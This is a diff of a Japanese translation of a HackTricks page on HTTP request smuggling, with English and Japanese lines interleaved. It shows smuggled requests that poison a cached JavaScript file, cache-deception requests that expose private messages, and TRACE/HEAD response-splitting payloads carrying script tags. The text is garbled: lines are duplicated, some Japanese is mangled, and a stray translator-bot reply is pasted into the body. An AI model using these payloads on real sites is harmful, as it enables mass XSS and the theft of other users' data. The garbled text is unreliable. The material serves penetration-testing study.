この手法は、**Open Redirect vulnerability** が見つかった場合、または **on-site redirect to an open redirect** が存在する場合に特に強力になります。これらの脆弱性を利用して、キャッシュされた `/static/include.js` の内容を攻撃者が制御するスクリプトに置き換えることができ、結果的に更新された `/static/include.js` を要求する全てのクライアントに対して大規模な Cross-Site Scripting (XSS) 攻撃を仕掛けることが可能になります。
以下は、**cache poisoning combined with an on-site redirect to open redirect** を悪用する例です。目的は `/static/include.js` のキャッシュ内容を変更し、攻撃者が制御する JavaScript コードを配信させることです:
以下は、**cache poisoning combined with an on-site redirect to open redirect** を悪用する例です。目的は`/static/include.js` のキャッシュ内容を攻撃者が制御する JavaScript コードに書き換えることです:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -601,18 +654,18 @@ x=1
```
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
成功した **socket poisoning** の後、`/static/include.js` への **GET request** を発行する必要があります。このリクエストは前述の **on-site redirect to open redirect** リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
その後、`/static/include.js` へのあらゆるリクエストは攻撃者のスクリプトのキャッシュされた内容を返すようになり、実質的に大規模な XSS 攻撃を開始します。
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### HTTP request smuggling を用いて web cache deception を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **web cache poisoning と web cache deception の違いは何ですか?**
> **What is the difference between web cache poisoning and web cache deception?**
>
> - **web cache poisoning** では、攻撃者がアプリケーションに悪意あるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。
> - **web cache deception** では、攻撃者が別のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
攻撃者はユーザー固有の機密コンテンツを取得する smuggled request を作成します。以下の例を見てください:
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -623,17 +676,17 @@ Note the embedded request targeting `/post/next?postId=3`. This request will be
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
この smuggled request が静的コンテンツ(例: `/someimage.png`)向けのキャッシュエントリを汚染すると、被害者の `/private/messages` にある機密データが静的コンテンツのキャッシュエントリキャッシュされてしまう可能性があります。結果として、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
もしこの smuggled request が静的コンテンツ(例: `/someimage.png`)向けのキャッシュエントリを毒しめしてしまった場合、被害者の `/private/messages` にある機密データがその静的コンテンツのキャッシュエントリとしてキャッシュされてしまう可能性があります。結果として、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP Request Smuggling を介した TRACE の悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) は、サーバで TRACE メソッドが有効になっている場合、HTTP Request Smuggling と組み合わせて悪用できる可能性があると示唆しています。これは、このメソッドがサーバに送信された任意のヘッダーをレスポンスの本文の一部として反映するためです。例えば:
[**In this post**](https://portswigger.net/research/trace-desync-attack) では、サーバが TRACE メソッドを有効にしている場合、HTTP Request Smuggling を使ってそれを悪用できる可能性があると示唆されています。これは、このメソッドがサーバに送られた任意のヘッダをレスポンスのボディの一部として反映するためです。例えば:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here. I will translate the English text to Japanese while preserving code, hacking technique names, cloud/SaaS names, links, paths, tags, refs and all markdown/html syntax exactly as-is.
Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here. I will translate the relevant English text to Japanese following your rules (keeping code, tags, links/paths, technique names, common hacking words, and cloud/SaaS names unmodified).
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -644,15 +697,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
この挙動を悪用する例としては、まず**HEADリクエストをsmuggleする**ことが挙げられます。This request will be responded with only the **headers** of a GET request**`Content-Type`** among them。そしてHEADの直後に**TRACEリクエストをsmuggle**すると、それは送信したデータを**反映します**。\
HEADレスポンスに`Content-Length`ヘッダが含まれるため、**TRACEリクエストのレスポンスはHEADレスポンスのボディとして扱われ、結果的に任意のデータがレスポンスに反映されます**。\
このレスポンスはコネクション上の次のリクエストへ送られるため、例えばキャッシュされたJSファイルに利用して任意のJSコードを注入することができます。
この挙動を悪用する例として、まず**smuggle first a HEAD request**することが挙げられます。このリクエストにはGETリクエストの**headers**(その中に**`Content-Type`**が含まれるのみが返されます。そしてHEADの直後に**smuggle immediately after the HEAD a TRACE request**を行い、これは**reflecting the sent dat**a.\
HEADレスポンスに`Content-Length`ヘッダが含まれるため、**response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data**と扱われ、レスポンス内に任意のデータが反映されます。\
このレスポンスは接続上の次のリクエストに送られるため、**used in a cached JS file for example to inject arbitrary JS code**.
### TRACEをHTTP Response Splitting経由で悪用する <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### TRACEをHTTP Response Splittingで悪用する <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
続けて[**this post**](https://portswigger.net/research/trace-desync-attack)を参照することが推奨され、TRACEメソッドを悪用する別の方法が示されています。前述の通り、HEADリクエストとTRACEリクエストをsmuggleすることで、HEADレスポンスに含まれる一部の反映データを**制御できる**可能性があります。HEADリクエストのボディ長は基本的に`Content-Length`ヘッダで示され、その内容はTRACEリクエストのレスポンスによって構成されます。
TRACEメソッドの別の悪用方法としては、[**this post**](https://portswigger.net/research/trace-desync-attack)を参照することが推奨されます。前述の通り、smuggling a HEAD request and a TRACE requestによって、HEADレスポンス内の**control some reflected data**を操作できる可能性があります。HEADボディの長さは基本的に`Content-Length`ヘッダで示され、その内容はTRACEレスポンスによって形成されます。
したがって、この`Content-Length`とTRACEレスポンス内のデータを把握すれば、TRACEレスポンスが`Content-Length`の最後のバイト以降に有効なHTTPレスポンスを含むように仕向けることが可能になり、攻撃者は次のレスポンスに対する要求を完全に制御できますこれはcache poisoningに利用できます
したがって、この`Content-Length`とTRACEレスポンスで返されるデータが分かっていれば、TRACEレスポンスの`Content-Length`の最後のバイト以降に有効なHTTPレスポンスを含めることが可能になり、攻撃者は次のレスポンスに対するリクエストを完全に制御できるこれはcache poisoningを行うために使われ得るという考えが成り立ちます
Example:
```
@ -673,7 +726,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
次のレスポンスを生成しますHEADレスポンスが Content-Length を持ち、それにより TRACE レスポンスが HEAD ボディの一部となり、HEAD の Content-Length が終了すると有効な HTTP レスポンスが smuggled される点に注意):
これらのレスポンスを生成しますHEADレスポンスが Content-Length を持っているため TRACE レスポンスが HEAD ボディの一部になり、HEAD の Content-Length が終了すると有効な HTTP レスポンスが smuggled されます):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -694,16 +747,15 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTP Response Desynchronisationを利用したHTTP Request Smugglingの武器化
HTTP Request Smugglingの脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他の攻撃手法を試してください:
### HTTP Request SmugglingをHTTP Response Desynchronisationで武器化する
HTTP Request Smugglingの脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他のエクスプロイト方法を試してみてください
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### その他の HTTP Request Smuggling Techniques
### その他のHTTP Request Smugglingテクニック
- Browser HTTP Request Smuggling (Client Side)
@ -719,7 +771,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## Turbo intruder スクリプト
### CL.TE
@ -806,18 +858,18 @@ time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## Tools
## ツール
- HTTP Hacker (Burp BApp Store) 連結/フレーミングや低レベルのHTTP挙動を可視化する
- HTTP Hacker (Burp BApp Store) 連結フレーミングや低レベルのHTTP挙動を可視化する
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerで、奇妙な request smuggling の不一致を見つけるのに有用です
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerで、request smugglingの不整合を見つけるのに役立つ
## References
## 参考資料
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -828,10 +880,11 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- false falsepositive に注意: HTTP pipelining と request smuggling を区別する方法 [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- 偽陽性に注意: HTTP pipelining と request smuggling を区別する方法 [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,7 +15,8 @@
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
async function getSponsor() {
const url = "https://book.hacktricks.wiki/sponsor"
const currentUrl = encodeURIComponent(window.location.href);
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
try {
const response = await fetch(url, { method: "GET" })
if (!response.ok) {